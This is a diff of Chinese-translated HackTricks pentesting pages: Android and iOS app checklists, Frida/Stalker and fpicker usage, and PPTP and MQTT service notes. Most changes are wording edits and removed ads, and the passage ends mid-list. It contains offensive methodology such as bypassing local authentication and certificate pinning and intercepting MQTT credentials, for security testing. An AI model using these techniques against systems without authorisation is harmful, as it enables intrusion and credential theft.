* [ ] [基础知识](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
|
@ -42,59 +34,52 @@
|
|||
### [静态分析](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] 检查是否使用了 [混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查手机是否已被 root,是否使用了模拟器以及反篡改检查。[阅读更多信息](android-app-pentesting/#other-checks)。
|
||||
* [ ] 敏感应用(如银行应用)应检查手机是否已被 root,并应采取相应措施。
|
||||
* [ ] 敏感应用程序(如银行应用)应检查手机是否已被 root,并应采取相应措施。
|
||||
* [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)(密码、URL、API、加密、后门、令牌、蓝牙 UUID...)。
|
||||
* [ ] 特别注意 [firebase](android-app-pentesting/#firebase) API。
|
||||
* [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] 检查应用是否处于调试模式并尝试“利用”它
|
||||
* [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] 检查应用程序是否处于调试模式并尝试“利用”它
|
||||
* [ ] 检查 APK 是否允许备份
|
||||
* [ ] 导出的活动
|
||||
* [ ] 内容提供者
|
||||
* [ ] 暴露的服务
|
||||
* [ ] 广播接收器
|
||||
* [ ] URL 方案
|
||||
* [ ] 应用是否 [不安全地保存内部或外部数据](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] 是否有任何 [密码硬编码或保存在磁盘上](android-app-pentesting/#poorkeymanagementprocesses)? 应用是否 [使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] 所有库是否都使用 PIE 标志编译?
|
||||
* [ ] 应用程序是否 [不安全地保存内部或外部数据](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] 是否有任何 [密码硬编码或保存在磁盘上](android-app-pentesting/#poorkeymanagementprocesses)?应用程序是否 [使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] 所有库是否使用 PIE 标志编译?
|
||||
* [ ] 不要忘记有一堆 [静态 Android 分析工具](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助你。
|
||||
|
||||
### [动态分析](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] 准备环境([在线](android-app-pentesting/#online-dynamic-analysis),[本地 VM 或物理](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] 是否有任何 [意外的数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
|
||||
* [ ] [机密信息是否保存在 SQLite 数据库中](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [可利用的暴露服务](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] 应用是否 [以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)? 是否可能发生中间人攻击?
|
||||
* [ ] [机密信息是否保存在 SQLite 数据库中](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [可利用的暴露服务](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] 应用程序是否 [以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)?是否可能发生中间人攻击?
|
||||
* [ ] [检查 HTTP/HTTPS 流量](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] 这一点非常重要,因为如果你能捕获 HTTP 流量,你可以搜索常见的 Web 漏洞(Hacktricks 有很多关于 Web 漏洞的信息)。
|
||||
* [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会在这里有所帮助)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): 仅使用 Frida,从应用中获取有趣的动态数据(也许一些密码...)
|
||||
* [ ] 这一点非常重要,因为如果你可以捕获 HTTP 流量,你可以搜索常见的 Web 漏洞(Hacktricks 有很多关于 Web 漏洞的信息)。
|
||||
* [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会在这里提供帮助)
|
||||
* [ ] [Frida](android-app-pentesting/#frida):仅使用 Frida,利用它从应用程序中获取有趣的动态数据(也许一些密码...)
|
||||
|
||||
### 一些混淆/去混淆信息
|
||||
|
||||
* [ ] [在这里阅读](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,14 +23,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 准备工作
|
||||
|
||||
* [ ] 阅读 [**iOS 基础**](ios-pentesting/ios-basics.md)
|
||||
|
@ -43,18 +35,18 @@
|
|||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLite 数据库)可以存储敏感信息。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLite 数据库)可以存储敏感信息。
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) 配置错误。
|
||||
* [ ] [**Realm 数据库**](ios-pentesting/#realm-databases)可以存储敏感信息。
|
||||
* [ ] [**Couchbase Lite 数据库**](ios-pentesting/#couchbase-lite-databases)可以存储敏感信息。
|
||||
* [ ] [**二进制 Cookie**](ios-pentesting/#cookies)可以存储敏感信息
|
||||
* [ ] [**缓存数据**](ios-pentesting/#cache)可以存储敏感信息
|
||||
* [ ] [**自动快照**](ios-pentesting/#snapshots)可以保存视觉敏感信息
|
||||
* [ ] [**Realm 数据库**](ios-pentesting/#realm-databases) 可以存储敏感信息。
|
||||
* [ ] [**Couchbase Lite 数据库**](ios-pentesting/#couchbase-lite-databases) 可以存储敏感信息。
|
||||
* [ ] [**二进制 Cookie**](ios-pentesting/#cookies) 可以存储敏感信息。
|
||||
* [ ] [**缓存数据**](ios-pentesting/#cache) 可以存储敏感信息。
|
||||
* [ ] [**自动快照**](ios-pentesting/#snapshots) 可以保存视觉敏感信息。
|
||||
* [ ] [**钥匙串**](ios-pentesting/#keychain) 通常用于存储敏感信息,可能在转售手机时被遗留。
|
||||
* [ ] 总之,只需 **检查应用程序在文件系统中保存的敏感信息**
|
||||
|
||||
### 键盘
|
||||
|
||||
* [ ] 应用程序是否 [**允许使用自定义键盘**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] 检查是否在 [**键盘缓存文件**](ios-pentesting/#custom-keyboards-keyboard-cache) 中保存了敏感信息
|
||||
* [ ] 应用程序是否 [**允许使用自定义键盘**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] 检查敏感信息是否保存在 [**键盘缓存文件**](ios-pentesting/#custom-keyboards-keyboard-cache) 中
|
||||
|
||||
### **日志**
|
||||
|
||||
|
@ -73,19 +65,19 @@
|
|||
|
||||
* [ ] 检查是否可以找到 [**用于加密的密码**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] 检查是否使用 [**过时/弱算法**](ios-pentesting/#broken-cryptography) 来发送/存储敏感数据
|
||||
* [ ] [**钩取并监控加密函数**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] [**挂钩并监控加密函数**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **本地身份验证**
|
||||
|
||||
* [ ] 如果应用程序中使用了 [**本地身份验证**](ios-pentesting/#local-authentication),你应该检查身份验证的工作方式。
|
||||
* [ ] 如果使用的是 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过
|
||||
* [ ] 如果使用的是 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain),你可以创建一个自定义的 frida 脚本
|
||||
* [ ] 如果应用程序中使用了 [**本地身份验证**](ios-pentesting/#local-authentication),则应检查身份验证的工作方式。
|
||||
* [ ] 如果使用的是 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过。
|
||||
* [ ] 如果使用的是 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain),则可以创建自定义 frida 脚本。
|
||||
|
||||
### 通过 IPC 暴露敏感功能
|
||||
|
||||
* [**自定义 URI 处理程序 / 深度链接 / 自定义方案**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] 检查应用程序是否 **注册了任何协议/方案**
|
||||
* [ ] 检查应用程序是否 **注册使用** 任何协议/方案
|
||||
* [ ] 检查应用程序是否 **注册以使用** 任何协议/方案
|
||||
* [ ] 检查应用程序 **是否期望从自定义方案接收任何类型的敏感信息**,该信息可以被注册相同方案的另一个应用程序 **拦截**
|
||||
* [ ] 检查应用程序 **是否未检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
|
||||
* [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
|
||||
|
@ -103,14 +95,14 @@
|
|||
* [**应用扩展**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] 应用程序是否 **使用任何扩展**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] 检查使用了哪种类型的 webviews
|
||||
* [ ] 检查使用的 WebViews 类型
|
||||
* [ ] 检查 **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`** 的状态
|
||||
* [ ] 检查 webview 是否可以 **访问本地文件**,协议为 **file://** **(`allowFileAccessFromFileURLs`,`allowUniversalAccessFromFileURLs`)**
|
||||
* [ ] 检查 Javascript 是否可以访问 **Native** **方法**(`JSContext`,`postMessage`)
|
||||
* [ ] 检查 webview 是否可以 **访问本地文件**,协议为 **file://** **(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)**
|
||||
* [ ] 检查 Javascript 是否可以访问 **Native** **方法**(`JSContext`、`postMessage`)
|
||||
|
||||
### 网络通信
|
||||
|
||||
* [ ] 执行 [**MitM 通信**](ios-pentesting/#network-communication) 并搜索网络漏洞。
|
||||
* [ ] 执行 [**MitM 攻击**](ios-pentesting/#network-communication) 进行通信并搜索 Web 漏洞。
|
||||
* [ ] 检查 [**证书的主机名**](ios-pentesting/#hostname-check) 是否被检查
|
||||
* [ ] 检查/绕过 [**证书钉扎**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
|
@ -119,12 +111,6 @@
|
|||
* [ ] 检查 [**自动修补/更新**](ios-pentesting/#hot-patching-enforced-updateing) 机制
|
||||
* [ ] 检查 [**恶意第三方库**](ios-pentesting/#third-parties)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -9,26 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 安装 Frida
|
||||
|
||||
**在越狱设备上安装 Frida 的步骤:**
|
||||
|
@ -168,9 +154,9 @@ console.log("loaded");
|
|||
|
||||
### Frida Stalker
|
||||
|
||||
[来自文档](https://frida.re/docs/stalker/): Stalker 是 Frida 的代码 **跟踪引擎**。它允许线程被 **跟踪**,**捕获** 每个函数、**每个块**,甚至每个被执行的指令。
|
||||
[来自文档](https://frida.re/docs/stalker/): Stalker 是 Frida 的代码 **跟踪引擎**。它允许线程被 **跟踪**,**捕获** 每个函数、**每个块**,甚至每个执行的指令。
|
||||
|
||||
您可以在 [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) 找到一个实现 Frida Stalker 的示例。
|
||||
您可以在 [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) 中找到一个实现 Frida Stalker 的示例。
|
||||
|
||||
这是另一个示例,用于在每次调用函数时附加 Frida Stalker:
|
||||
```javascript
|
||||
|
@ -213,7 +199,7 @@ Stalker.flush(); // this is important to get all events
|
|||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) 是一个 **基于Frida的模糊测试套件**,提供多种进程内模糊测试模式,如AFL++模式或被动跟踪模式。它应该可以在所有Frida支持的平台上运行。
|
||||
|
||||
* [**安装fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
* [**安装 fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
```bash
|
||||
# Get fpicker
|
||||
git clone https://github.com/ttdennis/fpicker
|
||||
|
@ -335,7 +321,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
|
||||
您可以检查**macOS 控制台**或**`log`** cli 来查看 macOS 日志。\
|
||||
您还可以使用**`idevicesyslog`**检查 iOS 的日志。\
|
||||
一些日志会省略信息,添加**`<private>`**。要显示所有信息,您需要从 [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) 安装一些配置文件以启用该私密信息。
|
||||
一些日志将省略信息,添加**`<private>`**。要显示所有信息,您需要从 [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) 安装一些配置文件以启用该私密信息。
|
||||
|
||||
如果您不知道该怎么做:
|
||||
```sh
|
||||
|
@ -351,7 +337,7 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist
|
|||
|
||||
killall -9 logd
|
||||
```
|
||||
您可以检查崩溃记录在:
|
||||
您可以检查崩溃记录:
|
||||
|
||||
* **iOS**
|
||||
* 设置 → 隐私 → 分析与改进 → 分析数据
|
||||
|
@ -374,21 +360,10 @@ iOS 仅存储同一应用的 25 个崩溃记录,因此您需要清理这些记
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# 1723 - Pentesting PPTP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**点对点隧道协议 (PPTP)** 是一种广泛用于 **远程访问** 移动设备的方法。它利用 **TCP 端口 1723** 进行密钥交换,而 **IP 协议 47**(通用路由封装,或 **GRE**)用于加密在对等方之间传输的数据。此设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密并受到未授权访问的保护。
|
||||
**点对点隧道协议 (PPTP)** 是一种广泛用于 **远程访问** 移动设备的方法。它利用 **TCP 端口 1723** 进行密钥交换,而 **IP 协议 47**(通用路由封装,或 **GRE**)用于加密在对等体之间传输的数据。此设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密并受到未授权访问的保护。
|
||||
|
||||
**默认端口**:1723
|
||||
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**MQ 远程传输 (MQTT)** 被称为一种 **发布/订阅消息协议**,以其极端的简单性和轻量性而著称。该协议专门为设备能力有限且在低带宽、高延迟或不可靠连接的网络上运行的环境量身定制。MQTT 的核心目标包括最小化网络带宽的使用和减少对设备资源的需求。此外,它旨在保持可靠的通信并提供一定程度的交付保证。这些目标使 MQTT 特别适合于蓬勃发展的 **机器对机器 (M2M) 通信** 和 **物联网 (IoT)** 领域,在这些领域中,高效连接大量设备至关重要。此外,MQTT 对于移动应用程序也非常有利,因为节省带宽和电池寿命至关重要。
|
||||
**MQ Telemetry Transport (MQTT)** 被称为 **发布/订阅消息协议**,以其极端的简单性和轻量性而著称。该协议专门为设备能力有限且在低带宽、高延迟或不可靠连接的网络上运行的环境量身定制。MQTT的核心目标包括最小化网络带宽的使用和减少对设备资源的需求。此外,它旨在保持可靠的通信并提供一定程度的交付保证。这些目标使得MQTT特别适合于蓬勃发展的 **机器对机器 (M2M) 通信** 和 **物联网 (IoT)** 领域,在这些领域中,高效连接大量设备至关重要。此外,MQTT对移动应用程序也非常有利,因为节省带宽和电池寿命至关重要。
|
||||
|
||||
**默认端口:** 1883
|
||||
```
|
||||
|
@ -55,7 +42,7 @@ PORT STATE SERVICE REASON
|
|||
|
||||
## 渗透测试 MQTT
|
||||
|
||||
**身份验证是完全可选的**,即使正在进行身份验证,**默认情况下也不使用加密**(凭据以明文发送)。仍然可以执行 MITM 攻击以窃取密码。
|
||||
**身份验证是完全可选的**,即使正在进行身份验证,**默认情况下不使用加密**(凭据以明文发送)。仍然可以执行 MITM 攻击以窃取密码。
|
||||
|
||||
要连接到 MQTT 服务,可以使用:[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) 并通过以下方式订阅所有主题:
|
||||
```
|
||||
|
@ -108,61 +95,50 @@ main()
|
|||
|
||||
发布/订阅模型由以下部分组成:
|
||||
|
||||
* **发布者**: 向代理中的一个(或多个)主题发布消息。
|
||||
* **订阅者**: 订阅代理中的一个(或多个)主题,并接收来自发布者的所有消息。
|
||||
* **代理**: 将所有消息从发布者路由到订阅者。
|
||||
* **主题**: 由一个或多个级别组成,级别之间用斜杠分隔(例如,/smartshouse/livingroom/temperature)。
|
||||
* **发布者**:向代理中的一个(或多个)主题发布消息。
|
||||
* **订阅者**:订阅代理中的一个(或多个)主题,并接收来自发布者的所有消息。
|
||||
* **代理**:将所有消息从发布者路由到订阅者。
|
||||
* **主题**:由一个或多个级别组成,级别之间用斜杠分隔(例如,/smartshouse/livingroom/temperature)。
|
||||
|
||||
### 数据包格式 <a href="#f15a" id="f15a"></a>
|
||||
|
||||
每个MQTT数据包包含一个固定头部(图02)。图02: 固定头部
|
||||
每个MQTT数据包包含一个固定头(图02)。图02:固定头
|
||||
|
||||
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
### 数据包类型
|
||||
|
||||
* CONNECT (1): 由客户端发起以请求与服务器的连接。
|
||||
* CONNACK (2): 服务器对成功连接的确认。
|
||||
* PUBLISH (3): 用于从客户端向服务器发送消息或反之亦然。
|
||||
* PUBACK (4): 对PUBLISH数据包的确认。
|
||||
* PUBREC (5): 消息传递协议的一部分,确保消息已被接收。
|
||||
* PUBREL (6): 进一步确保消息传递,指示消息释放。
|
||||
* PUBCOMP (7): 消息传递协议的最后部分,指示完成。
|
||||
* SUBSCRIBE (8): 客户端请求监听来自某个主题的消息。
|
||||
* SUBACK (9): 服务器对SUBSCRIBE请求的确认。
|
||||
* UNSUBSCRIBE (10): 客户端请求停止接收来自某个主题的消息。
|
||||
* UNSUBACK (11): 服务器对UNSUBSCRIBE请求的响应。
|
||||
* PINGREQ (12): 客户端发送的心跳消息。
|
||||
* PINGRESP (13): 服务器对心跳消息的响应。
|
||||
* DISCONNECT (14): 由客户端发起以终止连接。
|
||||
* 两个值,0和15,被标记为保留,其使用是禁止的。
|
||||
* CONNECT (1):由客户端发起以请求与服务器的连接。
|
||||
* CONNACK (2):服务器对成功连接的确认。
|
||||
* PUBLISH (3):用于将消息从客户端发送到服务器或反之亦然。
|
||||
* PUBACK (4):对PUBLISH数据包的确认。
